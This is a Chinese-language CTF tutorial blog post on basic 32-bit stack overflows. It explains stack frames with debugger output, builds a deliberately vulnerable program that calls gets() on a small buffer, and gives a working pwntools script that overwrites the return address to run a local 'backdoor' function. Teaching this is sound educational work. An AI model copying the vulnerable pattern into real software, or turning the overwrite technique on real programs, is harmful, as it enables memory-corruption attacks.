和ZLTT一起学pwn 1.基础栈溢出

本文详细解析了栈溢出攻击的基础知识,包括C语言和汇编中的函数调用过程,以及栈帧结构。通过分析函数调用时栈上的变化,展示了如何利用栈溢出修改返回地址,进而控制程序执行流程。以一个简单的CTF靶标为例,展示了如何构造payload实现栈溢出,最终成功执行backdoor函数。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.基础栈溢出

前置知识

C语言,汇编语言

函数调用过程

首先,使用如下程序来复习一下一个32位函数在调用过程中栈上发生的变化

#include<stdio.h>

int add(int a,int b)
{
    int c=0;
    return a+b;
}

int main()
{
    add(1,2);
}

在调用前,首先从右到左压栈进行传参

0x8048404 <main+13>                    push   2
0x8048406 <main+15>                    push   1
0x8048408 <main+17>                    call   add <add>

此时,栈上保存着传入的参数

00:0000│ esp	0xffffd0f0 ◂— 0x1
01:0004│         	0xffffd0f4 ◂— 0x2

接着,调用call指令,将返回地址(也就是原先call的下一条指令的地址)压入栈中,并跳转到函数内部

00:0000│ esp 	0xffffd0ec —▸ 0x804840d (main+22) ◂— add    esp, 8
01:0004│     	0xffffd0f0 ◂— 0x1
02:0008│     	0xffffd0f4 ◂— 0x2
0x80483d6 <add>       	push   ebp
0x80483d7 <add+1>     	mov    ebp, esp
0x80483d9 <add+3>     	sub    esp, 0x10

进入函数后的第一件事是保存原栈帧的栈底(push ebp),将ebp保存在栈上

00:0000│ esp 	0xffffd0e8 —▸ 0xffffd0f8 ◂— 0x0
01:0004│     	0xffffd0ec —▸ 0x804840d (main+22) ◂— add    esp, 8
02:0008│     	0xffffd0f0 ◂— 0x1
03:000c│     	0xffffd0f4 ◂— 0x2

然后将当前栈帧转移(mov ebp,esp),并为当前栈帧分配空间(sub esp,0x10)

00:0000│ esp 	0xffffd0d8 —▸ 0xffffd19c —▸ 0xffffd36a ◂— 'CLUTTER_IM_MODULE=xim'
01:0004│     	0xffffd0dc —▸ 0x8048441 (__libc_csu_init+33) ◂— lea    eax, [ebx - 0xf4]
02:0008│     	0xffffd0e0 —▸ 0xf7fe5970 (_dl_fini) ◂— push   ebp
03:000c│     	0xffffd0e4 ◂— 0x0
04:0010│ ebp 	0xffffd0e8 —▸ 0xffffd0f8 ◂— 0x0
05:0014│     	0xffffd0ec —▸ 0x804840d (main+22) ◂— add    esp, 8
06:0018│     	0xffffd0f0 ◂— 0x1
07:001c│     	0xffffd0f4 ◂— 0x2

在退出函数时,会执行如下指令

0x80483f5 <add+31>     leave  
0x80483f6 <add+32>     ret

leave指令相当于先mov esp,ebp并pop ebp。这条指令完成了对当前栈帧的空间的销毁和对上一个栈帧栈底的恢复

00:0000│ esp 	0xffffd0ec —▸ 0x804840d (main+22) ◂— add    esp, 8
01:0004│     	0xffffd0f0 ◂— 0x1
02:0008│     	0xffffd0f4 ◂— 0x2

此时栈上的结构就和刚刚call进来的时候一样了
ret指令从栈中弹出返回地址,跳转到返回地址(也就是原先call的下一条指令的地址)使程序继续执行

0x804840d  <main+22>                  add    esp, 8
0x8048410  <main+25>                  mov    eax, 0

出函数后,进行传参的销毁(add esp,8)
此时,栈结构就和调用函数之前一模一样了

栈帧结构

那么我们就可以整理出栈帧的结构,其从低地址到高地址(即栈的从上到下,请始终记住,栈由高地址向低地址生长,通俗点说就是栈的上面在低地址,下面在高地址)为

栈帧结构
局部变量空间
原栈帧栈底地址
返回地址
传入参数

攻击思路

从栈帧结构可以不难发现,函数执行完毕后的跳转位置为返回地址,而返回地址保存的位置其实和局部变量非常接近。
显然,在函数的执行流程之中,肯定会对局部变量进行读写,但假设我们使用某种方法,使得对局部变量的读写超出了局部变量的范围,也就是产生了溢出,当这种溢出可以覆盖到返回地址的时候,也就意味着返回地址可以被修改,从而导致程序流程被破坏。
通常状况下,这种破坏会导致程序的崩溃,因为程序很可能尝试访问非法的内存地址。
但是,通过精心构造溢出的内容,完全可以使程序不崩溃,并使攻击者可以控制程序的走向,这就是最基础的栈溢出劫持程序流攻击方式

攻击示例

为了简单演示栈溢出攻击,我们编写以下的程序作为靶标(在ctf比赛当中,如果存在后门,一般是system("/bin/sh"); )

#include<stdio.h>

void backdoor()
{
    puts("your process is under attack!");
}

void vul()
{
    char buf[16];
    gets(buf);
}

int main()
{
    vul();
}

可以看到,在这里main函数并没有调用backdoor函数,也就是说,在正常的程序流程中,不应该输出"your process is under attack!"。之后,我们将尝试通过栈溢出劫持程序流,使其执行backdoor函数。
在这里,我们可以攻击vul函数,因为其调用了gets函数,gets函数的特点在于,它会一直读取,直到读取到一个回车键,但是在这里,其缓冲区buf的长度是有限的,显然,只要超出了buf的长度,就会产生溢出。

那么首先,使用ida来反编译编译好的1_2程序,进行简单的分析

.text:08048461                 public vul
.text:08048461 vul             proc near               ; CODE XREF: main+1B↓p
.text:08048461
.text:08048461 s               = byte ptr -18h
.text:08048461 var_4           = dword ptr -4
.text:08048461
.text:08048461 ; __unwind {
.text:08048461                 push    ebp
.text:08048462                 mov     ebp, esp
.text:08048464                 push    ebx
.text:08048465                 sub     esp, 14h
.text:08048468                 call    __x86_get_pc_thunk_ax
.text:0804846D                 add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048472                 sub     esp, 0Ch
.text:08048475                 lea     edx, [ebp+s]
.text:08048478                 push    edx             ; s
.text:08048479                 mov     ebx, eax
.text:0804847B                 call    _gets
.text:08048480                 add     esp, 10h
.text:08048483                 nop
.text:08048484                 mov     ebx, [ebp+var_4]
.text:08048487                 leave
.text:08048488                 retn
.text:08048488 ; } // starts at 8048461
.text:08048488 vul             endp

注意一个细节,vul在传入buf的地址时使用的地址是ebp-0x18,也就是24个字节而非16个字节,这是由栈对齐机制决定的

.text:08048436                 public backdoor
.text:08048436 backdoor        proc near
.text:08048436
.text:08048436 var_4           = dword ptr -4
.text:08048436
.text:08048436 ; __unwind {
.text:08048436                 push    ebp
.text:08048437                 mov     ebp, esp
.text:08048439                 push    ebx
.text:0804843A                 sub     esp, 4
.text:0804843D                 call    __x86_get_pc_thunk_ax
.text:08048442                 add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048447                 sub     esp, 0Ch
.text:0804844A                 lea     edx, (aYourProcessIsU - 80497F8h)[eax] ; "your process is under attack!"
.text:08048450                 push    edx             ; format
.text:08048451                 mov     ebx, eax
.text:08048453                 call    _puts
.text:08048458                 add     esp, 10h
.text:0804845B                 nop
.text:0804845C                 mov     ebx, [ebp+var_4]
.text:0804845F                 leave
.text:08048460                 retn
.text:08048460 ; } // starts at 8048436
.text:08048460 backdoor        endp

可以看到,backdoor函数的地址在0x08048436,显然将这个地址换算成字符串有不可见字符,所以我们使用基于python的pwntools工具辅助我们进行攻击

from pwn import *

backdoor=0x08048436

p=process("./1_2")
p.sendline(b"a"*0x18+p32(0)+p32(backdoor))

p.interactive()

执行结果

zltt@zltt:~/code/zltt_pwn_note/1.基础栈溢出$ python3 ./1_3.py 
[+] Starting local process './1_2': pid 13752
[*] Switching to interactive mode
your process is under attack!
[*] Got EOF while reading in interactive
$  

攻击成功

让我们回过头来分析payload(攻击载荷),这次的payload由3个部分组成,分别是24个字节的填充缓冲区的部分、4个字节的覆盖栈底指针的部分(由于在本次攻击中并不重要,所以我将其置零)、4个字节的覆盖返回地址的部分(我将其置为backdoor函数的地址,故而程序流被劫持到了backdoor函数上)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值